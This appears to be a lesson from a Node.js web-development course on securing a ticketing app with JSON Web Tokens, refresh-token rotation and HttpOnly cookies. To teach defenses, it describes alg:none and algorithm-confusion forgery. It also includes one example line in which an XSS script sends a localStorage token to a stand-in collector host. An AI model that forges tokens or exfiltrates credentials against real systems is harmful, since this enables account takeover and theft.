The sessions from the previous lesson work and they are a great option. But they also left two bills on the table: they demand shared state (Redis as soon as there is more than one process) and they fit badly outside the browser, which is exactly where Escena Viva wants to go with a ticket-validation app at the door of Auditorio Ribera.

JSON Web Tokens turn the approach around: instead of keeping the state on the server and handing the client an opaque pointer, you hand over signed information and the server merely verifies the signature. It sounds ideal, which is why it is so often used badly. We are going to see what is really inside a JWT, why signing is not encrypting, which specific attacks must be blocked, and how to solve the problem nobody can ignore: a JWT cannot be revoked.

1. Anatomy of a JSON Web Token
2. Decoding one by hand in the REPL
3. HS256 versus RS256
4. Standard and custom claims
5. jsonwebtoken: signing and verifying
6. The alg: none and algorithm confusion attacks
7. The secret in the configuration
8. The real problem: they cannot be revoked
9. The Escena Viva pattern: short access + rotating refresh
10. Implementation: src/services/tokens.js
11. Login, refresh and logout routes
12. The authenticate middleware
13. Where NOT to store the token in the browser
14. Classic mistakes, exercises and conclusion

A JWT is three parts separated by dots: eyJhbGciOiJIUzI1NiJ9 (header) . eyJzdWIiOiI2NGYwMDEiLCJyb2xlIjoiYXR0ZW5kZWUifQ (payload) . 3xR9_kQ2f8m1TnV0pLcYhZaBqWjE7sN4dGuI6oKmXyc (signature).

The header states which algorithm signs the token; the payload holds the claims, the statements we assert; the signature proves the two preceding parts have not been modified. The first two are encoded in base64url, the variant we met in Module 3 with Buffers: it uses - and _ instead of + and /, and drops the = padding so the token travels cleanly in URLs and headers. And here is the point to burn into memory:

base64url is not encryption, it is encoding. Anyone holding the token can read its contents. Signing is not encrypting.

Signing guarantees integrity and authenticity (nobody modified it, it was issued by who it claims), not confidentiality.

Let us prove it without libraries, using what we know from Module 3:

No secret, no library, no permission: we have just read the entire contents. Practical consequences: never put a password, a hash, a card number or an internal note inside a JWT; assume the user will see their role, their sub and their exp (that is fine, they are theirs); and if you genuinely need confidentiality, JWE exists, although it is almost always simpler not to put secrets in there at all. What nobody can do without the secret is change "role":"attendee" into "role":"administrator" and produce a valid signature: verify rejects it.

The decision rule: if the same system issues and verifies, HS256 is perfect and simpler. If you need third-party services to verify without being able to issue — microservices, an external identity provider — you need RS256 (or ES256, with elliptic curves, more compact): you hand out the public key without fear because it cannot forge anything. Escena Viva is a single Node service today, so HS256, isolated in one module so that migrating the day microservices arrive means changing one file.

Ours: role (attendee, organizer, administrator) and, for organizers, venue. Two rules about the contents: nothing sensitive, because anyone can read it; and nothing bulky, because the token travels in a header on every request and can bump into the usual 8 KB limits of proxies and servers. And a warning we return to in 08-05: role inside the token is a snapshot taken at issue time; if an administrator demotes an organizer, their token will keep saying organizer until it expires. That is why the access token is short.

verify checks, in this order: that the signature is valid, that exp has not passed, that nbf has arrived, and that iss and aud match. If anything fails it throws an exception; it never returns an invalid token. The errors to distinguish: TokenExpiredError (valid signature, exp passed → the client must refresh), JsonWebTokenError (wrong signature, broken format, mismatched iss/aud) and NotBeforeError (nbf in the future).

This section explains why the algorithms list is not optional.

The alg: none attack. The specification contemplates an algorithm called none, meant for tokens already protected by some other means. The attack is brazen: the attacker sends the header {"alg":"none","typ":"JWT"}, the payload {"sub":"64f001","role":"administrator","exp":9999999999} and an empty signature. If the library listens to the header when deciding how to verify, it concludes there is nothing to verify and accepts the token: the attacker has made themselves an administrator by writing JSON. Algorithm confusion (RS256 → HS256). Subtler and more elegant. Suppose the server uses RS256 and publishes its public key, as it should. The attacker changes the header to "alg":"HS256", signs the token with HMAC using the public key as the secret, and the server reads alg: HS256, grabs "its key" — the public one, the only one it has — and uses it as the HMAC secret. The signature checks out.

The underlying flaw is the same in both cases: letting the attacker choose the verification algorithm. The defense is one line:

Modern versions of jsonwebtoken already mitigate much of this, but pinning algorithms explicitly remains mandatory: it is the defense that does not depend on which version ends up installed. General rule: the verification policy is decided by whoever verifies, never by the message that arrives.

Generating a proper secret: node -e "console.log(require('node:crypto').randomBytes(48).toString('base64url'))". 48 random bytes (384 bits) is comfortably enough for HS256; a memorable phrase will not do, because the attack against a weak HMAC secret is an offline dictionary attack against any captured token. One secret per purpose, never shared, and never in the repository (.env has been in .gitignore since Module 5). To rotate, keep a list [current, previous]: you sign with the first and verify against all of them until the old ones expire. Secret management in production is wrapped up in Module 11.

A JWT is valid until it expires, and the server gets no say. That is a direct consequence of its virtue: if there is no state, there is nothing to delete.

The usual answers and an honest verdict on each: a blacklist of revoked tokens works, but it reintroduces the state that justified using JWT in the first place; very short tokens shrink the window without eliminating it, and force frequent re-authentication; checking on every request whether the user is still active is one query per request… which is exactly what a session does. The industry's mature answer combines the first two, and that is the one we adopt.

The idea: the token used constantly is not revocable but barely lasts; the token that lasts is revocable and is hardly ever used. The damage from a stolen access token is capped at 15 minutes; a refresh token can be killed in the database. We add two indispensable refinements: rotation (every use of the refresh token invalidates it and issues a new one, so a captured refresh token only works once) and reuse detection (the refresh tokens of a single sign-in form a family; if an already-consumed one arrives, either the attacker used the stolen one and the legitimate one arrives later, or the other way round, and in both cases the entire family is revoked).

The RefreshToken model stores userId, the SHA-256 hash of the token (never the token: if the database leaks, the stored refresh tokens are useless), a familyId shared by the whole chain of one sign-in, the used and revoked flags, the userAgent for the "my devices" screen, and expiresAt with a TTL index.

An important design note: the refresh token is not a JWT. Since it is looked up in the database on every use, being self-contained buys nothing; an opaque random value is shorter, simpler and drags along none of the attacks from section 6.

Be honest about what this logout achieves and what it does not: it revokes the refresh token instantly, but the access token the client already holds stays valid for up to 15 minutes. For critical operations (cancelling tickets, changing roles) you have to check the user's state in the database, not just the signature.

The 401 cases, distinguished by reason so the client knows what to do:

Notice that req.user has exactly the same shape as the one requireSession left behind in 08-03. That is why the controllers and the authorization layer of 08-05 work identically with a session or with a JWT.

localStorage is visible to all the JavaScript on the page, including anything an XSS injects and anything a third-party dependency brings along. A malicious script runs fetch('https://collector.test/r?t=' + localStorage.getItem('token')) and it is over. With an HttpOnly cookie it cannot: document.cookie does not see it. An attacker with XSS can still make requests from the victim's page — XSS is always serious — but they cannot exfiltrate the credential to use later from somewhere else and for 30 days. That difference between "damage while the tab is open" and "account compromised indefinitely" is exactly what we are buying. And that is why the access token lives in memory: if it is lost on reload, one call to /auth/refresh (with the automatic cookie) returns a new one. It is the "silent refresh on startup" pattern.

• jwt.decode() instead of jwt.verify(). decode does not check the signature: it only reads. Using it to authenticate is equivalent to having no authentication at all. Equally serious: omitting algorithms in verify, or putting sensitive data in the payload believing it travels encrypted.
• Extremely long access tokens ("7 days, that way I never bother the user"): a stolen token works for a week.
• Storing the refresh token in localStorage and throwing away the entire benefit of HttpOnly; or not rotating it, so a stolen refresh token grants permanent access.
• Trusting the token's role for a critical action without re-reading the database (08-05), or using the same secret for access and refresh, so a refresh token could pass as an access token.
• Not handling the 401 on the client: with no refresh-and-retry logic, the user sees random failures every 15 minutes.
• Putting the token in the URL (?token=...): it ends up in proxy logs, in browsing history and in the Referer header.

In the Node REPL: (a) decode the payload of the token from section 2; (b) build a tampered token by changing "role":"attendee" into "role":"administrator", reusing the original signature; (c) verify it with jwt.verify and explain what happens and why.

Write authenticatedRequest(url, options) for the front-end: it uses the access token held in memory; if it gets a 401 with reason: 'TOKEN_EXPIRED', it calls /auth/refresh, stores the new token and retries exactly once; on any other 401, it sends the user to the login page.

Escena Viva wants an attendee to have only one active session: signing in on a new device must knock out the previous one. Describe the changes to issueRefreshToken and explain what limit this measure has with respect to the access token.

Exercise 1

The signature is computed over header.payload; change a single byte of the payload and the recomputed HMAC no longer matches the attached signature. Reading the token is trivial; modifying it is impossible without the secret. That is exactly what "signing is not encrypting" means: there is no confidentiality, there is integrity.

Exercise 2

In production it is also worth queueing concurrent requests while a refresh is in flight, so you do not fire five refreshes at once and trigger reuse detection against yourself.

Exercise 3. In issueRefreshToken, before creating the new record, revoke every one belonging to the user: if (options.singleDevice) { await RefreshToken.updateMany({ userId, revoked: false }, { $set: { revoked: true } }); }.

The limit: the previous device's access token stays valid for up to 15 minutes, because it cannot be revoked; the other device keeps access during that window and only falls when it tries to refresh. If the requirement is an instant cut-off, you have to add a database check per request — and at that moment you are paying the cost of a session, which is precisely the design decision analyzed in 08-03.

We now know what a JWT really is: three base64url parts — header, payload and signature — with contents readable by anyone, because signing guarantees integrity and authenticity, not confidentiality. We know when HS256 and when RS256, which standard claims exist and why the token must stay light and secret-free. We hardened verify with explicit algorithms, understanding the alg: none and algorithm confusion attacks that one line neutralizes. And we faced the underlying problem — JWTs cannot be revoked — with the mature solution: a 15-minute access token in the client's memory, a 30-day refresh token in an HttpOnly+Secure+SameSite=Strict cookie, stored hashed, rotated on every use and with reuse detection that takes down the entire family.

Escena Viva now knows who is making each request: req.user is verified, with its id and its role, whether by session or by token. What is missing is the other half of lesson 08-01: what each of them may do. An attendee must not read another attendee's orders; the organizer of Sala Bóveda must not publish events belonging to Teatro Almendra; only an administrator changes roles. In the next lesson, Role-Based Access Control, we build the complete permission matrix, the requireRole middleware with its 403 cleanly separated from the 401, and the piece RBAC does not cover and that causes the most common vulnerability in APIs: resource ownership.